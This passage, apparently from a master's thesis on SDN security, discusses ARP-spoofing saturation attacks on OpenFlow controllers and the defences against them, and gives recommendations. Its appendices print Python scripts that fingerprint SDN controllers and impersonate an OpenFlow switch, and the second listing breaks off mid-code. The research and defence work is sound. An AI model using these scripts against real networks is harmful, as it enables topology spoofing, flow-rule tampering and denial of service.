application, while the switch itself is stated to process the traffic like a ‘traditional’ switch. But also here, we
see an additional delay while the attack is performed. We shortly investigated a Mininet setup with a switch
not connected to a controller to see whether we then also have this additional delay (as is expected). Indeed,
we see that for a period of time, ping traffic between h3 and h4 does experience an additional delay (0.150 ms
instead of 0.05 ms) while the link between h1 and h2 does experience complete denial-of-service.

5.3. Defence Mechanisms against Data-Control Plane Saturation
Achieving DoS by flooding the control plane with PACKET_INmessages, such as is achieved using the spoofed
ARP messages, is known as a data-to-control plane saturation attack. While for example [68] names some
modules in OpenDaylight and ONOS which solve both DoS and authentication problems, also specialized
solutions for such data-to-control plane saturation attacks are designed. In the context of related work, below
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Figure 5.3: HPE VAN controller GUI after an attack with over
1000 spoofed ARP messages, where it mistakenly thinks these
hosts are real and part of the network.

Figure 5.4: Proof of dropped packets and increased delay
when two hosts try to communicate while the attacker per-
forms the attack with spoofed ARP messages.

we will shortly discuss such solutions.
One of the most well-known solutions which focuses on anomalous control plane floods is AVANT-GUARD

[69]. The system is presented as a security extension to the OpenFlow data plane, where added intelligence
makes that there is less communication needed between the control plane and data plane. Most important
of the system is the so-called connection migration module, which can identify attack traffic by verifying the
TCP handshake of each new flow and will only allow traffic from sources that will complete the TCP hand-
shake. The writers of AVANT-GUARD admit that the system is limited to fight against DoS attacks based on IP
spoofing and not attacks based on UDP and ICMP.

FloodGuard [70], presents a defence system with a proactive flow rule analyzer and a data plane cache and
is said to be a solution independent of the protocol of the attack traffic. It’s main motivation is the philosophy
that pre-installing flow rules into the data plane and discarding all other table-miss packets would resolve
the complete security problem, but that it is unrealistic due to the dynamics of network policies. Eventually,
the proactive flow rule analyzer makes sure that, during attacks, the major functionality of the network in-
frastructure is enforced by deriving proactive (and thus not reactive) flows with use of dynamic application
tracking. The data plane cache is added to migrate the table-miss packets to, before sending them to the
controller in a limited rate in form of PACKET_IN messages. This means that also attack traffic will reach the
controller, but in this way no benign packets are lost.

Weakness of both AVANT-GUARD and (parts of) FloodGuard is that they are implemented into the Open-
Flow switches, which means that success/strength of the systems depends on whether all switches have the
system implemented. As a response, solutions which are implemented on the control plane are FlowRanger
[71] and FlowDefender [72]. FlowRanger uses a trust-based mechanism to evaluate the likelihood that
PACKET_IN requests are from attacking sources and prioritize them into multiple buffer queues with dif-
ferent priorities. Naturally, requests from trusted sources are arranged in high priority queues and are served
faster than requests in low priority queues. FlowDefender is somewhat more complicated, adding four mod-
ules that implement an attack detector, packet filter, flow rule manager and a table-miss engineering module.
The modules are implemented as applications on the Ryu controller.

While out of the scope of this research, as future works one could investigate the success of our attack with
spoofed ARP messages when different defence mechanisms are deployed in the network. Expectation is that
the attack is still possible when AVANT-GUARD is deployed, because the system is stated to be limited to fight
against DoS attacks based on IP spoofing. For the other solutions, in the evaluation of the other solutions
there are no concrete experiments towards defending against ARP spoofing in particular. Also, besides the
specialized defence mechanisms, [68] names some modules in OpenDaylight (Defense4All and AAA) and
ONOS (Security-Mode ONOS) which solve both DoS and authentication problems. Experiments will show
whether these modules also defend against spoofed ARP messages.

5.4. Other attacks
While performing timing analysis as discussed in Section 5.1 is a new attack approach which focuses on par-
ticular SDN properties, using spoofed ARP messages is a traditional attack which is also shown successful
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in traditional networks. There are more attacks which were successful in traditional networks of which it is
interesting to see whether they also work in SDNs. Below, we will discuss two of such attacks, both suggested
by employees at Fox IT.

First, instead of using ARP messages to flood the network/controller, there is suggested to leverage the
Internet Group Management Protocol (IGMP(v3)) or Multicast Listener Discovery (MLD(v2)). Shortly, IGMP
is used to establish multicast group memberships in traditional networks and is an integral part of IP mul-
ticast. Normally, it is used for one-to-many networking applications such as online streaming video and
online gaming. MLD can be seen as the equivalent of IGMP, where IGMP is used on IPv4 networks and MLD
uses IPv6. For an attack, one can leverage IGMP ‘membership requests’ and flood a switch with these mes-
sages. However, the use of multicast is normally not supported in SDN. As an example, [73] presents code
for custom-made IGMP support in the POX controller. Because of this, we decided that further research to-
wards IGMP lies outside the scope of this research. We didn’t look into MLD because IPv6 excluded from all
experiments in this research.

The second suggested attack is the ‘packet-in-packet’ approach. Shortly, this is a piggy-backing technique
that allows attackers to hide malicious packets inside packets that are permitted on the network [74], in which
way for example firewalls can be evaded. In the context of SDN, an example of a successful packet-in-packet
attempt is to send an OpenFlow (e.g. FLOW_MOD) message encapsulated in a PACKET_IN message, which
would result in the encapsulated message (thus, the FLOW_MOD) to be executed/processed. Or, one could
investigate whether one can break the controller by changing the packet hierarchy. In our setting, scapy [67]
allowed us both to experiment with the packet hierarchy and the construction of encapsulated OpenFlow
messages. When sending such messages, we focused on how PACKET_INs and its data are treated. In the
definition of the SDN controllers it is stated that they work with deserialization, where the controller can
extract layer per layer what kind of message the encapsulated data is and whether there is important header
information. This property is used in the processing of ARP message, for example.

In the networks with our four controllers in their standard implementation, we have not found any way
to leverage the packet-in-packet principle. When sending direct or encapsulated OpenFlow messages, we
see that in the cases that these messages are encapsulated in PACKET_IN message as its data, this data is not
further used. This is because the controllers are not implemented to expect OpenFlow messages, thus don’t
have modules to leverage this data. When receiving packets with incorrect hierarchy (e.g. Ethernet inside
IP instead of IP inside Ethernet), the packets are encapsulated in a PACKET_IN, but - as in the case of the
OpenFlow messages - during the processing of the data, the controller implementation fails to use the data
properly (as expected) and simply discards the message.

5.5. Conclusions
In this chapter, we looked into the possibilities for a regular host to damage an SDN without directly lever-
aging the OpenFlow protocol as is done in Chapter 3. Concretely, we experimented with timing analysis,
spoofed ARP messages and a ‘packet-in-packet’ approach to see whether these attacks are suitable. We have
found that simple timing analysis focused on the processing time of controllers gives enough information to
an attacker to decide whether a target network is an SDN or not. However, the identification of specific con-
trollers gives a number of challenges, such that there is need of additional techniques to be successful in this.
Given the investigated traditional attacks, we have found that ARP spoofing can lead to denial-of-service in
case of the Ryu, ONOS and OpenDaylight controller. The gravity of the table spoofing attack mostly depends
on the used SDN supporting switch. We have seen that it was quite easy to flood the Zodiac FX switch, making
the installation of new flows impossible.

The performed timing analysis directly follows the ideas presented in [37, 64] and had the first purpose
to serve as a feasibility study for our four investigated controllers. It also provide us of more insight into the
workings and functionality of the controllers without investigating the code of the controllers. To our knowl-
edge, this is the first study which leverages ARP to perform table flooding and denial-of-service. Another way
to perform data-to-control plane saturation is with the use of SYN packets, as stated in [75]. We relied on ARP
because these packets were easy to construct with the use of scapy and the misuse of ARP has the additional
consequence that we perform topology spoofing.

It is important to invest in security solutions for the found vulnerabilities in this chapter. Some possible
solutions are already mentioned in Section 5.3, and further research in this direction will be mentioned as
future works in the next chapter, where we will review all our findings of this research.
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Improving SDN security

In this research, we have investigated the current state security of a software-defined network’s core, focus-
ing on the security of the control-data plane communications: the control channel. In the previous three
chapters we presented all the details of our performed attacks and findings in order to answer the research
questions we presented in Section 2.2. Now our investigation is complete, we use this concluding chapter to
present compact answers to these research questions and derive best practices to secure the control channel
the most. We also elaborate one more time on the importance of the protection of the control channel. We
end this research with a look into the future of SDN and its security, also providing future works we think can
(and needs to) be done as a next step in the field of SDN security.

6.1. Protecting the Control Channel
Since its introduction, there has been controversy over the security of software-defined networking - a fact
that is still addressed in recent articles about SDN potential [76]. On one hand, SDN introduces opportunities
for more sophisticated security solutions, such as implementations for automated malware quarantine [77],
while on the other hand, new challenges arise for the security of the network itself and its controller. As an
example, [78] names the programmability of SDN controllers a double-edged sword: "Engineers can install
security applications on the controller’s northbound interface to open up new ways to apply security policies,
but those applications can reprogram the network through the controller - hackers can trick engineers into
installing compromised applications."

As done in the introduction to SDN security in Chapter 2, the security challenges for SDN can be catego-
rized over its different layers. Challenges which arise with the implementation and deployment of network
applications (threat vector five) can be seen and investigated separately from the challenges for the security of
the network itself (threat vector three and four). In other words, one should build an SDN networking environ-
ment where the security of the network is not dependent on SDN applications being free from vulnerabilities
[79]. A lot of networking applications (which could be security solutions) presume that there are no network
design vulnerabilities in the network they are deployed in. Following this motivation, it is thus beneficial to
focus on the security of the network’s core, providing such independent secure network environment.

In the context of SDN, a secure network environment starts with a secure, protected controller. Leaving
network applications out of the equation, protecting the controller is done by focusing on the communica-
tions towards the controller - securing the control channel. Because of this, in this research we have focused
on the security of the control channel. Summarizing, we have investigated the current state security of a con-
trol channel where the OpenFlow protocol is used, to see what potential vulnerabilities this results in for the
entire network. We have approached this from an attacker’s point of view, and tried to perform two different
kind of attacks: (1) attacks where an attacker directly (mis)uses the OpenFlow protocol and (2) attacks where
an attackers is not able to use this protocol. We also investigated to what extent the deployment of SSL/TLS
provides protection of the control channel.

6.1.1. Answering the research questions
The research questions we are able to answer are, as stated in Section 2.2:

37
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1. Is it possible to misuse the OpenFlow protocol to attack forwarding devices, controllers or the control
channel in general and what possibilities lie there for a malicious user who has taken over a network
component?

2. Does the usage of SSL/TLS solve problems found in the first question; and is it always feasible as a
solution or does it introduce new problems?

3. In what ways can a regular host damage an OpenFlow Network?

In Chapter 3, we investigated the first question. We have found that with the appropriate knowledge of the
OpenFlow protocol, an attacker is able to create scripts to identify OpenFlow channels and impersonate a
OpenFlow supporting switch. With our scripts in their current form, we are able to perform topology spoofing
and flow rule modification. More advanced attackers could extend the impersonation script to perform more
severe attacks. Another source that introduces more attacks is the presence of malicious network devices. In
short, the implication for security is that an OpenFlow network is vulnerable to different man-in-the-middle
attacks, topology spoofing, eavesdropping, flow rule modification or even controller hijacking, which are all
possible to perform via the control channel.

The protection of the control channel done via the employment of SSL/TLS was investigated in Chapter 4.
Using our experiments, we see that two-way authentication protects the control channel against all attacks
named above. However, we see that the control channel and data channel function separately, such that
SSL/TLS on the control channel leaves the data channel unprotected. Thus, for a completely secure network,
administrators need also to invest in data plane security. This possibly contributes to an even more complex
key management process, which is stated to be the main point why SSL/TLS is not standard deployed in
current SDNs.

Last, Chapter 5 investigated attack possibilities without leveraging the OpenFlow protocol. Here, it turns
out that the Address Resolution Protocol (ARP) can be misused to generate a lot of traffic on the control chan-
nel to attack the controller. The scripts provided in this research can be used to perform topology spoofing
(without impersonation), table flooding and denial-of-service, an example of a data-to-control plane satura-
tion attack. In this case, using SSL/TLS doesn’t solve our problems. A solution to the problems here should
focus on reducing the needed control traffic.

6.1.2. Control channel best security practices
Given the answers to our research questions, we can give a three recommendations in order to secure an
OpenFlow network and its control channel the most. Concretely, when setting up an SDN, one should:

1. Set up an isolated control channel. Most advocated is the use of an out-of-band control channel, natu-
rally separating the control and data channel;

2. Use two-way SSL/TLS between all switches and controllers, securing the control channel;

3. Try to reduce the amount of traffic on the control channel.

The first two recommendations follow directly from our investigation and don’t need extra research for future
implementations. The isolation of the control channel can be realized during the first stages of creating the
network and should be part of the network architecture. SSL/TLS is supported by all investigated controllers,
but network administrators should invest in the correct setup and operable key management – two challenges
which comes with SSL/TLS. It is important to implement two-way authentication, because with one-way
authentication an attacker can still create bogus switches in order to perform topology spoofing and flood
the controller with traffic.

To find correct solutions to reduce the amount of traffic on the control channel, extra research is needed.
Some solutions which try to achieve this are already presented, such as AVANT-GUARD [69] and FloodGuard
[70]. These solutions are discussed shortly in Section 5.3, but deep investigation towards such solutions was
outside the scope of this research. Besides solutions against control-data plane saturation attacks, network
architects should think about possible control channel vulnerabilities which can occur when deploying cer-
tain network applications on top of the controller. With the installation of every application which generates
packets from the data plane to the control plane, one should check whether this can be misused and if so,
whether this possible misuse can be mitigated (for example by filtering). If this is not the case, such an appli-
cation introduces a direct vulnerability to the system and should not be implemented in the network1.

1This recommendation is done by Ronald van der Pol, network innovation advisor at SURFnet.
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6.2. The Future of SDN Security
While we are able to present three recommendations which directly contribute to the security of an Open-
Flow network, it will probably even more important for network architects to investigate the future of the
SDN architecture, which will influence the security of SDN. The software-defined networking paradigm is a
relative new concept which is still evolving, which is seen in different ways. First, we have the development
and availability of many different controllers - and as seen, the security of the network is influenced a lot by
the security of the controller. Second, while the main concept of SDN will stay the same, the used SDN archi-
tecture changes in order to support more. An example is an suggested extended SDN architecture to support
Network Function Virtualization (NFV) [80]. Third, we see that the developments in the SDN security field
plays a more central role in the development of SDN in general. A concrete outcome is the rise of communi-
ties like [81], where security solutions are presented such that it is possible to contribute to these solutions;
of which one is Security-mode ONOS.

The main limitation of this research is that it is unknown how relevant it stays due to the fast changes in
the SDN world. As an example, the used implementations of the controllers could be replaced with improved
ones which protect the network from our identified vulnerabilities. However, we did focus on ONOS and
OpenDaylight which are expected to be controllers we will eventually end up with2. Also, in our research we
assume the data plane to be as simple as possible, while in current developments we see that focus lies on
improving and expanding the data plane. This was already used in early security solutions such as AVANT-
GUARD [69], but more significant is the rise of the programming language P4 [82] which can be used to
program the data plane. Also, using NFV in SDN solution contributes to the functionality and intelligence of
the data plane. In the future, it could be so that on the more sophisticated SDN switches, table flooding isn’t
possible any longer - or that a solution to this problem is easy programmable.

Eventually, the scope of this research was rather broad, investigating the current state of research towards
SDN security in general, identifying possible research areas and gaining an insight into the security of the
control channel from two different angles. Researchers should take the developments of the SDN architecture
into account in order to find research directions which are still relevant at that moment (and in the future).

6.2.1. Recommendations for future work
Taking this complete research and the prospects of the future of the SDN paradigm into account, we fin-
ish with some recommendations for future work. These examples will or (1) continue on (and expand) the
presented attacks or (2) investigate the security of particular (future) SDN implementations:

1. Expand the impersonation attack to see whether it is possible to create fully functional (controllable)
bogus switches which make more severe attacks, such as controller hijacking, possible;

2. Investigate whether it is possible to misuse the Link Layer Discovery Protocol (LLDP) in combination
with OpenFlow, in order to virtually connect impersonated switches to other impersonated or genuine
network devices;

3. Investigate whether it is also possible to flood a switch’s group-table3;

4. Investigate the security of the ONOS or OpenDaylight controller in full detail, also focusing on the code
and security solutions for these controllers. While this is already done in other studies (such as [68]),
this will stay a relevant topic as long as the controllers are in development.

5. Investigate whether the combination of SDN and NFV can mitigate current security challenges for SDN.

The future works presented above are demarcated research topics which focus on security problems in detail.
Here, one will look at the network from an attacker’s point of view, following the approach we took in this
research. We disregarded future works having a defensive angle, focusing on concrete security solutions and
defence mechanisms. However, this doesn’t mean that such work isn’t recommended. As an example, in our
research we didn’t find a direct solution to prevent control-data plane saturation with use of ARP. Future work
could investigate whether the solutions we discussed shortly can protect the network against our attack, or
create a new one. Eventually, complete secure networks can only be constructed with knowledge from both
the attacker’s and defender’s sides.
2This is expected by Ying-Dar Lin, IEEE fellow and ONF Research Associate, also writer of [80].
3In this research, we never elaborated on group-tables. Shortly, group-tables (introduced in OpenFlow 1.3 [45]) are sort-like to flow-

tables and make it possible to state multiple actions for a particular match.
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A
Code: controller_checker.py

1 # ! / usr /bin/env python3
2 """
3 With t h i s s c r i p t we want to check whether an open TCP port [ discovered with nmap] ,
4 i s used for OpenFlow communication . For t h i s we r e l y on the OpenFlow handshake , which
5 in case of c o n t r o l l e r connection i s :
6 connection −> hello ( contr , a t t ) ; hel lo ( att , contr ) −> ftrequest ( contr , a t t ) −> . . . .
7 in case of switch connection i s :
8 connection −> hello (sw , a t t ) ; hel lo ( att , sw) + ftrequest ( att , sw) −> f t r e p l y (sw , a t t )
9

10 In t h i s version ( 2 . 0 ) , we are able to find out which c o n t r o l l e r i t is ,
11 looking at the reaction a f t e r a we send f t r e p l y ( att , cont ) .
12 We only support detection of OF1. 3 and detection of ONOS, ODL, Ryu and HPE VAN.
13 """
14

15 import socket
16 import argparse
17 import pdb
18 from pyof . v0x04 .common. header import Type
19 from pyof . foundation . basic_types import UBInt8
20 from pyof . v0x04 . symmetric . hel lo import Hello
21 from pyof . v0x04 . control ler2switch . features_reply import FeaturesReply
22 from pyof . v0x04 . control ler2switch . features_request import FeaturesRequest
23 from pyof . v0x04 . control ler2switch .common import MultipartTypes
24 from pyof . v0x04 . control ler2switch . get_config_request import GetConfigRequest
25 from pyof . v0x04 . control ler2switch . flow_mod import FlowMod
26 from pyof . v0x04 . asynchronous . error_msg import ErrorType , BadRequestCode , ErrorMsg
27

28 # Process command−l i n e arguments
29 argParser = argparse . ArgumentParser ( description= ’Check for an given IP−port combination whether i t i s used

for OpenFlow 1.3 communication , and i f so , which c o n t r o l l e r i s used . ’ )
30 argParser . add_argument ( ’ ip ’ , type= str , help= ’ checked IP address ’ )
31 argParser . add_argument ( ’ port ’ , type=int , help= ’ check port ’ )
32 argParser . add_argument ( ’−−debug ’ , type=int , default =0 , help= ’ Set to 1 i f you want to debug ! ’ )
33 argParser . add_argument ( ’−v ’ , ’−−version ’ , action= ’ version ’ , version= ’%(prog ) s i s at version 2.0 ’ )
34 arguments = argParser . parse_args ( )
35

36 # We only support OF1. 3 ( a l l supported by RYU, ONOS, ODL and HPE)
37 allowed_version = 4
38 version = 4
39

40 """ used for output """
41 def version_to_str ( version ) :
42 i f version == 1 :
43 return "OF1. 0 "
44 i f version == 2 :
45 return "OF1. 2 "
46 i f version == 4 :
47 return "OF1. 3 "
48

49 """ return the integer value of a part of the bytestr ing message """

45



46 A. Code: controller_checker.py

50 def get_value ( bytestr ing ) :
51 return i n t . from_bytes ( bytestring , ’ big ’ )
52

53 """ Given a bytestring , returns whether we get a OpenFlow message and i f so ,
54 the message_type and other information what comes with i t .
55 Simplif ied version of the method in <imp_hybrid . py> [ V1 . 3 . 1 ]
56 Output :
57 1 . Boolean saying wether we received a va l i d OF message
58 2 . message_type of OF message / None when i n v a l i d
59 3 . extra info : parameter dictionary when OF message / explanatory s t r i n g when i n v a l i d
60 4 . message residu in case of piggybacked OF messages / None when i n v a l i d
61 """
62 def check_message ( rec_msg ) :
63 i f len ( rec_msg ) < 8 :
64 return False , None, " received message to small for processing . " , None
65

66 msg_version = rec_msg [ 0 ] # should be an l e g i t e OpenFlow version
67 msg_type = rec_msg [ 1 ] # OF message type ( integer−form )
68 msg_length = get_value ( rec_msg [ 2 : 4 ] ) # should be validated against ’ adressed length ’
69 msg_id = get_value ( rec_msg [ 4 : 8 ] ) # transaction ID
70

71 msg = rec_msg [ : msg_length ] # the message we are going to evaluate here
72 msg_rest = rec_msg [ msg_length : ] # i f not empty the input contained multiple messages
73

74 # length assert ion with advertised length .
75 i f len (msg) != msg_length :
76 return False , None, " length assert ion f a i l e d " , None
77

78 # version assert ion ( f i r s t time we adapt the l i s t with allowed versions )
79 i f msg_version ! = allowed_version :
80 return False , None, "not supported version " , None
81

82 # Only in the MULTIPART_REQUEST case we need to e x t r a c t extra information
83 i f msg_type == Type .OFPT_MULTIPART_REQUEST. value :
84 mtp_type = get_value (msg[ 8 : 1 0 ] )
85 return True , msg_type , { ’ trans_id ’ : msg_id , ’ mtp_type ’ : mtp_type } , msg_rest
86

87 # Basic case ( transaction_id comes in handy when we need to send responses )
88 else :
89 return True , msg_type , { ’ trans_id ’ : msg_id } , msg_rest
90

91

92 """ Checks whether given sequence of received OF messages matches with expected sequences
93 Output : Str ing which explains the outcome of the check .
94 (V2 . 0 : the parameter (OF) version i s not yet used and has always the value 4 (OF1. 3 ) )
95 """
96 def check_message_sequence ( expected_component , version , messages ) :
97 print ( messages )
98

99 i f expected_component == " switch " :
100 i f messages == [ Type .OFPT_HELLO. value ,
101 Type .OFPT_ECHO_REQUEST. value ,
102 Type . OFPT_FEATURES_REPLY . value ] :
103 return "OpenFlow connection with switch , version " + version_to_str ( version )
104 else :
105 return "Unable to i d e n t i f y OpenFlow connection : Unexpected sequences of OF messages . "
106

107 else : # expected_component == " c o n t r o l l e r "
108 i f messages [ 0 : 3 ] == [ Type .OFPT_HELLO. value ,
109 Type .OFPT_FEATURES_REQUEST. value ,
110 Type .OFPT_ROLE_REQUEST. value ] :
111 return "OpenFlow " + version_to_str ( version ) + " connection with OpenDaylight c o n t r o l l e r "
112

113 i f messages [ 0 : 3 ] == [ Type .OFPT_HELLO. value ,
114 Type .OFPT_FEATURES_REQUEST. value ,
115 [ Type .OFPT_MULTIPART_REQUEST. value , MultipartTypes .OFPMP_PORT_DESC. value ] ] :
116 return "OpenFlow " + version_to_str ( version ) + " connection with ONOS c o n t r o l l e r "
117

118 i f messages [ 0 : 3 ] == [ Type .OFPT_HELLO. value ,
119 Type .OFPT_FEATURES_REQUEST. value ,
120 Type . OFPT_SET_CONFIG . value ] :
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121 i f len ( messages ) < 6 and messages [ 3 ] == [ Type .OFPT_MULTIPART_REQUEST. value ,
122 MultipartTypes .OFPMP_PORT_DESC. value ] :
123 return "OpenFlow " + version_to_str ( version ) + " connection with Ryu c o n t r o l l e r "
124

125 e l i f len ( messages ) == 6 :
126 mtp_messages = [ [ Type .OFPT_MULTIPART_REQUEST. value , MultipartTypes .OFPMP_PORT_DESC. value ] ,
127 [ Type .OFPT_MULTIPART_REQUEST. value , MultipartTypes .OFPMP_DESC. value ] ,
128 [ Type .OFPT_MULTIPART_REQUEST. value ,
129 MultipartTypes .OFPMP_TABLE_FEATURES. value ] ]
130 # catch case that order of messages i s mixed up ( although not seen in practice )
131 i f len ( [m for m in mtp_messages i f m in messages [ 4 : 7 ] ] ) :
132 return "OpenFlow " + version_to_str ( version ) + " connection with HPE VAN c o n t r o l l e r "
133

134 return "Unable to i d e n t i f y OpenFlow connection : Unexpected sequences of OF messages . "
135

136

137 """ Using a socket , we r e t r e i v e (and react c o r r e c t l y to ) d i f f e r e n t OF messages ,
138 Which are put in the l i s t ’ r e c e i v e d _ l i s t ’ which i s used in the method above ,
139 which i s cal led at the moment we expect we can answer what we are dealing with .
140 """
141 def is_openflow ( ip , port ) :
142

143 # i f you f a i l the socket connection , i t i s not an OpenFlow connection , natural ly .
144 # Or we have an TLS connection which i s refused .
145 t r y :
146 s = socket . socket ( socket . AF_INET , socket .SOCK_STREAM)
147 s . connect ( ( ip , port ) )
148 except :
149 return "Connection Refused"
150

151 f irst_message = True # The f i r s t message should always be Hello !
152 r e c e i v e d _ l i s t = [ ] # L i s t containing a l l ( correct ) OF messages
153 ready_to_check_controller = False # As soon as true we go to ’ check_message_sequence ( ) ’
154

155 # We are not awaiting the c o n t r o l l e r and i n i t i a t e Hello
156 s . send ( Hello ( ) . pack ( ) )
157

158 # We want to receive and process messages u n t i l l we have an answer
159 while True :
160 rec_msg = s . recv (1024)
161

162 # This loop i s to ensure that piggybacked messages are a l l processed .
163 while len ( rec_msg ) > 0 :
164

165 # note ’ info ’ i s a dictionary i f is_openflow i s True , otherwise a s t r i n g .
166 is_openflow , msg_type , info , msg_rest = check_message ( rec_msg )
167 i f is_openflow == False :
168 return "No OpenFlow connection : " + info # display reasoning
169

170 # FIRST MESSAGE PROCESSING
171 i f f irst_message and msg_type != Type .OFPT_HELLO. value :
172 return "No OpenFlow connection : F i r s t message should be hello ! "
173 e l i f f irst_message :
174 r e c e i v e d _ l i s t . append( msg_type )
175 f irst_message = False
176

177 # SWITCH RESPONSES PROCESSING
178 e l i f msg_type == Type .OFPT_ECHO_REQUEST. value :
179 r e c e i v e d _ l i s t . append( msg_type )
180 pkt_ft_request = FeaturesRequest ( xid=info [ ’ trans_id ’ ] )
181 s . send ( pkt_ft_request . pack ( ) )
182

183 e l i f msg_type == Type . OFPT_FEATURES_REPLY . value :
184 r e c e i v e d _ l i s t . append( msg_type )
185 return check_message_sequence ( " switch " , version , r e c e i v e d _ l i s t )
186

187 # CONTROLLER RESPONSES PROCESSING
188 e l i f msg_type == Type .OFPT_FEATURES_REQUEST. value :
189 r e c e i v e d _ l i s t . append( msg_type )
190 pkt_ft_reply = FeaturesReply ( xid=info [ ’ trans_id ’ ] , datapath_id =44 ,
191 n_buffers =253 , n_tables =254 ,
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192 a u x i l i a r y _ i d =0 , c a p a b i l i t i e s =79 ,
193 reserved =0)
194 s . send ( pkt_f t_reply . pack ( ) )
195

196 e l i f msg_type == Type .OFPT_MULTIPART_REQUEST. value :
197 r e c e i v e d _ l i s t . append ( [ msg_type , info [ ’ mtp_type ’ ] ] )
198 # In case we receive a PORT_DESC request , i t can s t i l l be ONOS or RYU.
199 i f info [ ’ mtp_type ’ ] == MultipartTypes .OFPMP_PORT_DESC. value :
200 s . send (b ’ \x04\x13\x00\x90\x00\x00\x00\x01\x00\ r \x00\x00\x00\x00\x00\x00\x00\x00\x00\

x01\x00\x00\x00\x00V\ xf6 \xb2\xb8\xc2\x97\x00\x00s1−eth1 \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
x00\x00\x00\x00\x00\x00\x00\x00\x08@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x98\x96\x80\
x00\x00\x00\x00\ x f f \ x f f \ x f f \ xfe \x00\x00\x00\x00>\xf2E #\xe6B\x00\ x00s1 \x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 ’ )

201 else :
202 ready_to_check_controller = True
203

204 e l i f msg_type == Type .OFPT_FLOW_MOD. value :
205 r e c e i v e d _ l i s t . append( msg_type )
206 ready_to_check_controller = True
207

208 e l i f msg_type == Type .OFPT_GET_CONFIG_REQUEST. value :
209 r e c e i v e d _ l i s t . append( msg_type )
210 ready_to_check_controller = True
211

212 e l i f msg_type == Type .OFPT_ROLE_REQUEST. value :
213 r e c e i v e d _ l i s t . append( msg_type )
214 ready_to_check_controller = True
215

216 # For example BARRIER_REQUEST and SET_CONFIG
217 else :
218 r e c e i v e d _ l i s t . append( msg_type )
219

220 # Again : i f needed , process the r e s t before gett ing new message .
221 rec_msg = msg_rest
222

223 # i f rec_msg i s a l l processed , check for c o n t r o l l e r version i f we are ready
224 i f ready_to_check_controller :
225 return check_message_sequence ( " c o n t r o l l e r " , version , r e c e i v e d _ l i s t )
226

227

228 """ RUNNING SCRIPT """
229 i f arguments . ip ! = None and arguments . port != None :
230 i f arguments . debug == 1 :
231 pdb . set_trace ( )
232

233 print ( is_openflow ( arguments . ip , arguments . port ) )

Listing A.1: Given an IP address and TCP port, this Python script is used to successfully detect OpenFlow connections with OvSwitch
or SDN controller (Ryu, ONOS, OpenDaylight, HPE VAN). The identified controllers run with ‘standard’ implementations. Different
controller features can change the used ‘handshaking’-sequence, which will influence the success of this script. Some parts (such as the
argument-parsing) are omitted in this listing for readability.
The complete code is delivered with this master thesis.
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1 # ! / usr /bin/env python3
2 """
3 Script to c o r r e c t l y react to received OpenFlow messages in order to impersonate a OF1. 3 switch .
4 Confirmed working for RYU, ONOS and OpenDayLight and HPE VAN
5 Confirmed working over SSL for RYU
6 """
7

8 import socket , s s l , time , pdb , argparse
9 from pyof . v0x04 .common. header import Type

10 from pyof . v0x04 . symmetric . hel lo import Hello
11 from pyof . v0x04 . control ler2switch . features_reply import FeaturesReply
12 from pyof . v0x04 . control ler2switch .common import ControllerRole
13 from pyof . v0x04 . control ler2switch . role_reply import RoleReply
14 from pyof . v0x04 . control ler2switch . barr i er _repl y import BarrierReply
15 from pyof . v0x04 . symmetric . echo_request import EchoRequest
16 from pyof . v0x04 . control ler2switch .common import MultipartTypes
17 from pyof . v0x04 . control ler2switch . get_config_reply import GetConfigReply
18 from pyof . v0x04 . asynchronous . error_msg import ErrorType , BadRequestCode , ErrorMsg
19 from pyof . foundation . basic_types import UBInt8
20

21 # OMITTED − Code to process command−l i n e arguments
22

23 # Requests with empty bodies
24 empty_requests = [ Type .OFPT_HELLO. value , Type .OFPT_ECHO_REQUEST. value ,
25 Type .OFPT_FEATURES_REQUEST. value , Type . OFPT_BARRIER_REQUEST . value ]
26 # Messages which don ’ t need a response from the switch
27 no_response_messages = [ Type .OFPT_FLOW_MOD. value , Type . OFPT_SET_CONFIG . value ]
28

29

30 """ return the integer value of a part of the bytestr ing message """
31 def get_value ( bytestr ing ) :
32 return i n t . from_bytes ( bytestring , ’ big ’ )
33

34

35 """ Given a bytestring , return the message_type and other information what comes with i t
36 Output i s 3−tuple : msg_type ( i n t ) , other_info ( d i c t ) , msg_rest ( i n t )
37 −> The other_info always contains the transaction_id .
38 −> extra information i s for example needed in case of a RoleRequest / MultipartRequest
39 −> msg_rest contains other OF messages i f they are ’ piggybacked ’ in rec_msg
40 """
41 def check_message ( rec_msg ) :
42 msg_version = rec_msg [ 0 ]
43 msg_type = rec_msg [ 1 ]
44 msg_length = get_value ( rec_msg [ 2 : 4 ] )
45 msg_id = get_value ( rec_msg [ 4 : 8 ] )
46

47 msg = rec_msg [ : msg_length ] # the message we are going to evaluate here
48 msg_rest = rec_msg [ msg_length : ] # i f not empty the input contained multiple messages
49

50 # We w i l l always store the transaction ID to be consequent .

49



50 B. Code: switch_impersonator.py

51 i f msg_type in empty_requests or msg_type in no_response_messages :
52 return msg_type , { ’ trans_id ’ : msg_id } , msg_rest
53

54 # with a ROLE_REQUEST we need also return the requested role and generation_id
55 i f msg_type == Type .OFPT_ROLE_REQUEST. value :
56 req_role = get_value (msg[ 8 : 1 2 ] )
57 gen_id = get_value (msg [ 1 6 : ] )
58 return msg_type , { ’ trans_id ’ : msg_id , ’ role ’ : req_role , ’ gen_id ’ : gen_id } , msg_rest
59

60 # For a MULTIPART_REQUEST also the type of request i s stored to pick the correct response
61 i f msg_type == Type .OFPT_MULTIPART_REQUEST. value :
62 mtp_type = get_value (msg[ 8 : 1 0 ] )
63 return msg_type , { ’ trans_id ’ : msg_id , ’ mtp_type ’ : mtp_type } , msg_rest
64

65 # could be enlarged in future versions , for now ’ standard ’ reaction .
66 else :
67 return msg_type , { ’ trans_id ’ : msg_id } , msg_rest
68

69

70

71 """ IMPERSONATOR """
72 i f arguments . ip ! = None and arguments . port != None :
73 i f arguments . debug == 1 :
74 pdb . set_trace ( )
75

76 # SETUP SOCKET ( With or Without SSL )
77 i f arguments . privkey != None and arguments . cert != None and arguments . cacert ! = None :
78 print ( "Impersonation over SSL s t a r t s towards" , arguments . ip , " : " , arguments . port )
79 non_ssl_s = socket . socket ( socket . AF_INET , socket .SOCK_STREAM)
80 s = s s l . wrap_socket ( non_ssl_s ,
